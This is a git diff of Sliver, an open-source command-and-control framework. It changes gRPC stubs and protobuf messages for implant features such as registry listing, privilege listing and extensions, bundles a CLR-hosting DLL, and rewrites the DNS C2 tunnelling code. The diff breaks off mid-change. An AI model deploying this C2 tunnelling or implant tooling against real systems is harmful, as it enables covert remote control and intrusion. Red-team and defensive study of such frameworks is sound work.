func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
out := new(clientpb.Generate)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...)
@@ -928,24 +880,6 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re
return out, nil
}
func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) {
out := new(sliverpb.RegistrySubKeyList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error) {
out := new(sliverpb.RegistryValuesList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListValues", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) {
out := new(sliverpb.SSHCommand)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...)
@@ -964,42 +898,6 @@ func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackR
return out, nil
}
func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error) {
out := new(sliverpb.GetPrivs)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPrivs", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
out := new(sliverpb.RegisterExtension)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) {
out := new(sliverpb.CallExtension)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) {
out := new(sliverpb.ListExtensions)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
out := new(sliverpb.WGPortForward)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
@@ -1187,11 +1085,6 @@ type SliverRPCServer interface {
LootContent(context.Context, *clientpb.Loot) (*clientpb.Loot, error)
LootAll(context.Context, *commonpb.Empty) (*clientpb.AllLoot, error)
LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error)
// *** Hosts ***
Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error)
Host(context.Context, *clientpb.Host) (*clientpb.Host, error)
HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error)
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
// *** Implants ***
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
@@ -1255,15 +1148,8 @@ type SliverRPCServer interface {
RegistryRead(context.Context, *sliverpb.RegistryReadReq) (*sliverpb.RegistryRead, error)
RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error)
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
// Extensions
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error)
// *** Wireguard Specific ***
WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
@@ -1353,18 +1239,6 @@ func (UnimplementedSliverRPCServer) LootAll(context.Context, *commonpb.Empty) (*
func (UnimplementedSliverRPCServer) LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error) {
return nil, status.Errorf(codes.Unimplemented, "method LootAllOf not implemented")
}
func (UnimplementedSliverRPCServer) Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error) {
return nil, status.Errorf(codes.Unimplemented, "method Hosts not implemented")
}
func (UnimplementedSliverRPCServer) Host(context.Context, *clientpb.Host) (*clientpb.Host, error) {
return nil, status.Errorf(codes.Unimplemented, "method Host not implemented")
}
func (UnimplementedSliverRPCServer) HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method HostRm not implemented")
}
func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method HostIOCRm not implemented")
}
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
}
@@ -1545,30 +1419,12 @@ func (UnimplementedSliverRPCServer) RegistryWrite(context.Context, *sliverpb.Reg
func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryCreateKey not implemented")
}
func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListSubKeys not implemented")
}
func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListValues not implemented")
}
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
}
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
}
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
}
func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
}
func (UnimplementedSliverRPCServer) CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
return nil, status.Errorf(codes.Unimplemented, "method CallExtension not implemented")
}
func (UnimplementedSliverRPCServer) ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
return nil, status.Errorf(codes.Unimplemented, "method ListExtensions not implemented")
}
func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
}
@@ -2014,78 +1870,6 @@ func _SliverRPC_LootAllOf_Handler(srv interface{}, ctx context.Context, dec func
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Hosts(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Hosts",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.Host)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Host(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Host",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.Host)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).HostRm(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/HostRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.IOC)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).HostIOCRm(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/HostIOCRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.GenerateReq)
if err := dec(in); err != nil {
@@ -3166,42 +2950,6 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistrySubKeyListReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryListSubKeys",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, req.(*sliverpb.RegistrySubKeyListReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistryListValuesReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryListValues(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryListValues",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryListValues(ctx, req.(*sliverpb.RegistryListValuesReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.SSHCommandReq)
if err := dec(in); err != nil {
@@ -3238,78 +2986,6 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.GetPrivsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).GetPrivs(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/GetPrivs",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetPrivs(ctx, req.(*sliverpb.GetPrivsReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegisterExtensionReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegisterExtension(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegisterExtension",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.CallExtensionReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).CallExtension(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/CallExtension",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ListExtensionsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).ListExtensions(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/ListExtensions",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.WGPortForwardStartReq)
if err := dec(in); err != nil {
@@ -3632,22 +3308,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "LootAllOf",
Handler: _SliverRPC_LootAllOf_Handler,
},
{
MethodName: "Hosts",
Handler: _SliverRPC_Hosts_Handler,
},
{
MethodName: "Host",
Handler: _SliverRPC_Host_Handler,
},
{
MethodName: "HostRm",
Handler: _SliverRPC_HostRm_Handler,
},
{
MethodName: "HostIOCRm",
Handler: _SliverRPC_HostIOCRm_Handler,
},
{
MethodName: "Generate",
Handler: _SliverRPC_Generate_Handler,
@@ -3888,14 +3548,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "RegistryCreateKey",
Handler: _SliverRPC_RegistryCreateKey_Handler,
},
{
MethodName: "RegistryListSubKeys",
Handler: _SliverRPC_RegistryListSubKeys_Handler,
},
{
MethodName: "RegistryListValues",
Handler: _SliverRPC_RegistryListValues_Handler,
},
{
MethodName: "RunSSHCommand",
Handler: _SliverRPC_RunSSHCommand_Handler,
@@ -3904,22 +3556,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "HijackDLL",
Handler: _SliverRPC_HijackDLL_Handler,
},
{
MethodName: "GetPrivs",
Handler: _SliverRPC_GetPrivs_Handler,
},
{
MethodName: "RegisterExtension",
Handler: _SliverRPC_RegisterExtension_Handler,
},
{
MethodName: "CallExtension",
Handler: _SliverRPC_CallExtension_Handler,
},
{
MethodName: "ListExtensions",
Handler: _SliverRPC_ListExtensions_Handler,
},
{
MethodName: "WGStartPortForward",
Handler: _SliverRPC_WGStartPortForward_Handler,
-33
View File
@@ -242,23 +242,6 @@ const (
// MsgSSHCommandReq - Run a SSH command
MsgSSHCommandReq
// MsgGetPrivsReq - Get privileges (Windows)
MsgGetPrivsReq
// MsgRegistryListReq - List registry sub keys
MsgRegistrySubKeysListReq
// MsgRegistryListValuesReq - List registry values
MsgRegistryListValuesReq
// MsgRegisterExtensionReq - Register a new extension
MsgRegisterExtensionReq
// MsgCallExtensionReq - Run an extension command
MsgCallExtensionReq
// MsgListExtensionsReq - List loaded extensions
MsgListExtensionsReq
)
// Constants to replace enums
@@ -481,22 +464,6 @@ func MsgNumber(request proto.Message) uint32 {
return MsgPollInterval
case *SSHCommandReq:
return MsgSSHCommandReq
case *GetPrivsReq:
return MsgGetPrivsReq
case *RegistrySubKeyListReq:
return MsgRegistrySubKeysListReq
case *RegistryListValuesReq:
return MsgRegistryListValuesReq
case *RegisterExtensionReq:
return MsgRegisterExtensionReq
case *CallExtensionReq:
return MsgCallExtensionReq
case *ListExtensionsReq:
return MsgListExtensionsReq
}
return uint32(0)
File diff suppressed because it is too large. Load diff
-86
View File
@@ -190,7 +190,6 @@ message UploadReq {
string Path = 1;
string Encoder = 2;
bytes Data = 3;
bool IsIOC = 4;
commonpb.Request Request = 9;
}
@@ -560,32 +559,6 @@ message RegistryCreateKey {
commonpb.Response Response = 9;
}
message RegistrySubKeyListReq {
string Hive = 1;
string Path = 2;
// Keep the same ID as the other registry operations
string Hostname = 4;
commonpb.Request Request = 9;
}
message RegistrySubKeyList {
repeated string Subkeys = 1;
commonpb.Response Response = 9;
}
message RegistryListValuesReq {
string Hive = 1;
string Path = 2;
// Keep the same ID as the other registry operations
string Hostname = 4;
commonpb.Request Request = 9;
}
message RegistryValuesList {
repeated string ValueNames = 1;
commonpb.Response Response = 9;
}
// Tunnel - Tunnel related messages
message Tunnel {
uint64 TunnelID = 8 [jstype = JS_STRING];
@@ -809,64 +782,5 @@ message DllHijackReq {
}
message DllHijack {
commonpb.Response Response = 9;
}
message GetPrivsReq {
commonpb.Request Request = 9;
}
message WindowsPrivilegeEntry {
string Name = 1;
string Description = 2;
bool Enabled = 3;
bool EnabledByDefault = 4;
bool Removed = 5;
bool UsedForAccess = 6;
}
message GetPrivs {
repeated WindowsPrivilegeEntry PrivInfo = 1;
commonpb.Response Response = 9;
}
// Extensions
message RegisterExtensionReq {
string Name = 1;
bytes Data = 2;
string OS = 3;
string Init = 4;
commonpb.Request Request = 9;
}
message RegisterExtension {
commonpb.Response Response = 9;
}
message CallExtensionReq {
string Name = 1;
string Export = 2;
bytes Args = 3;
commonpb.Request Request = 9;
}
message CallExtension {
bytes Output = 1;
bool ServerStore = 2;
commonpb.Response Response = 9;
}
message ListExtensionsReq {
commonpb.Request Request = 9;
}
message ListExtensions {
repeated string Names = 1;
commonpb.Response Response = 9;
}
+25 -1
View File
@@ -42,7 +42,8 @@ import (
const (
// GoDirName - The directory to store the go compiler/toolchain files in
GoDirName = "go"
GoDirName = "go"
dllDirName = "dll"
goPathDirName = "gopath"
versionFileName = "version"
@@ -75,6 +76,12 @@ func GetRootAppDir() string {
return dir
}
// GetDllDir - Returns the full path to the data directory
func GetDllDir() string {
dir := path.Join(GetRootAppDir(), dllDirName)
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
@@ -103,6 +110,7 @@ func Setup(force bool, echo bool) {
}
setupGo(appDir)
setupCodenames(appDir)
setupDllPath(appDir)
saveAssetVersion(appDir)
}
}
@@ -255,6 +263,22 @@ func SetupGoPath(goPathSrc string) error {
return nil
}
// setupDllPath - Sets the data directory up
func setupDllPath(appDir string) error {
dataDir := GetDllDir()
if _, err := os.Stat(dataDir); os.IsNotExist(err) {
setupLog.Infof("Creating data directory: %s", dataDir)
os.MkdirAll(dataDir, 0700)
}
hostingDll, err := assetsFs.ReadFile(path.Join("fs", "dll", "HostingCLRx64.dll"))
if err != nil {
setupLog.Info("failed to find the dll")
return err
}
err = ioutil.WriteFile(path.Join(dataDir, "HostingCLRx64.dll"), hostingDll, 0600)
return err
}
func unzipGoDependency(fsPath string, targetPath string) error {
setupLog.Infof("Unpacking go dependency %s -> %s", fsPath, targetPath)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/amd64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/arm64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/linux/amd64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/windows/amd64/*
assetsFs embed.FS
)
Binary file not shown.
+29
View File
@@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2018, b4rtik
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+230 -527
View File
@@ -16,58 +16,50 @@ package c2
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
DNS command and control implementation
---
DNS Tunnel Implementation
*/
import (
secureRand "crypto/rand"
"crypto/sha256"
"crypto/x509"
"math"
"errors"
"hash/crc32"
insecureRand "math/rand"
"net"
"sort"
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/protobuf/dnspb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"encoding/base32"
"encoding/base64"
"encoding/binary"
"encoding/pem"
secureRand "crypto/rand"
"errors"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"sync"
"time"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/miekg/dns"
"google.golang.org/protobuf/proto"
)
const (
sessionIDSize = 12
domainKeyMsg = "_domainkey"
blockReqMsg = "b"
clearBlockMsg = "cb"
sessionInitMsg = "si"
sessionPollingMsg = "sp"
sessionEnvelopeMsg = "se"
// Max TXT record is 255, records are b64 so (n*8 + 5) / 6 = ~250
byteBlockSize = 185 // Can be as high as n = 187, but we'll leave some slop
blockIDSize = 6
@@ -78,23 +70,59 @@ var (
dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")
sendBlocksMutex = &sync.RWMutex{}
sendBlocks = &map[string]*SendBlock{}
dnsSessionsMutex = &sync.RWMutex{}
dnsSessions = &map[string]*DNSSession{}
dnsSessions = map[string]*DNSSession{}
blockReassemblerMutex = &sync.RWMutex{}
blockReassembler = &map[string][][]byte{}
sendBlocksMutex = &sync.RWMutex{}
sendBlocks = map[uint32]*Block{}
dnsSegmentReassemblerMutex = &sync.RWMutex{}
dnsSegmentReassembler = &map[string](*map[int][]string){}
recvBlocksMutex = &sync.RWMutex{}
recvBlocks = map[uint32]*Block{}
)
// SendBlock - Data is encoded and split into `Blocks`
type SendBlock struct {
ID string
Data []string
// Block - A blob of data that we're sending or receiving, blocks of data
// are split up into arrays of bytes (chunks) that are encoded per-query
// the amount of data that can be encoded into a single request or response
// varies depending on the type of query and the length of the parent domain.
type Block struct {
ID uint32
data [][]byte
Size int
Started time.Time
Mutex sync.RWMutex
}
func (b *Block) AddData(index int, data []byte) (bool, error) {
b.Mutex.Lock()
defer b.Mutex.Unlock()
if len(b.data) < index+1 {
return false, errors.New("Data index out of bounds")
}
b.data[index] = data
sum := 0
for _, data := range b.data {
sum += len(data)
}
return sum == b.Size, nil
}
func (b *Block) GetData(index int) ([]byte, error) {
b.Mutex.Lock()
defer b.Mutex.Unlock()
if len(b.data) < index+1 {
return nil, errors.New("Data index out of bounds")
}
return b.data[index], nil
}
func (b *Block) Reassemble() []byte {
b.Mutex.RLock()
defer b.Mutex.RUnlock()
data := []byte{}
for _, block := range b.data {
data = append(data, block...)
}
return data
}
// DNSSession - Holds DNS session information
@@ -135,7 +163,10 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
return server
}
// DNSRequest -> C2 or canary?
// ---------------------------
// DNS Handler
// ---------------------------
// Handles all DNS queries, first we determine if the query is C2 or a canary
func handleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
if req == nil {
dnsLog.Info("req can not be nil")
@@ -158,7 +189,6 @@ func handleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter
}
if resp != nil {
// dnsLog.Debug(resp.String())
writer.WriteMsg(resp)
} else {
dnsLog.Infof("Invalid query, no DNS response")
@@ -177,7 +207,9 @@ func isC2SubDomain(domains []string, reqDomain string) (bool, string) {
return false, ""
}
// C2 -> Record type?
// The query is C2, pass to the appropriate record handler this is done
// so the record handler can encode the response based on the type of
// record that was requested
func handleC2(domain string, req *dns.Msg) *dns.Msg {
subdomain := req.Question[0].Name[:len(req.Question[0].Name)-len(domain)]
if strings.HasSuffix(subdomain, ".") {
@@ -187,24 +219,26 @@ func handleC2(domain string, req *dns.Msg) *dns.Msg {
switch req.Question[0].Qtype {
case dns.TypeTXT:
return handleTXT(domain, subdomain, req)
case dns.TypeA:
return handleA(domain, subdomain, req)
default:
}
return nil
}
// ---------------------------
// Canary Record Handler
// ---------------------------
// Canary -> valid? -> trigger alert event
func handleCanary(req *dns.Msg) *dns.Msg {
reqDomain := strings.ToLower(req.Question[0].Name)
if !strings.HasSuffix(reqDomain, ".") {
reqDomain += "." // Ensure we have the FQDN
}
canary, err := db.CanaryByDomain(reqDomain)
if err != nil {
return nil
}
resp := new(dns.Msg)
resp.SetReply(req)
if canary != nil {
@@ -239,179 +273,173 @@ func handleCanary(req *dns.Msg) *dns.Msg {
return resp
}
// handles the c2 TXT record interactions, kind hacky this probably needs to get refactored at some point
func randomIP() net.IP {
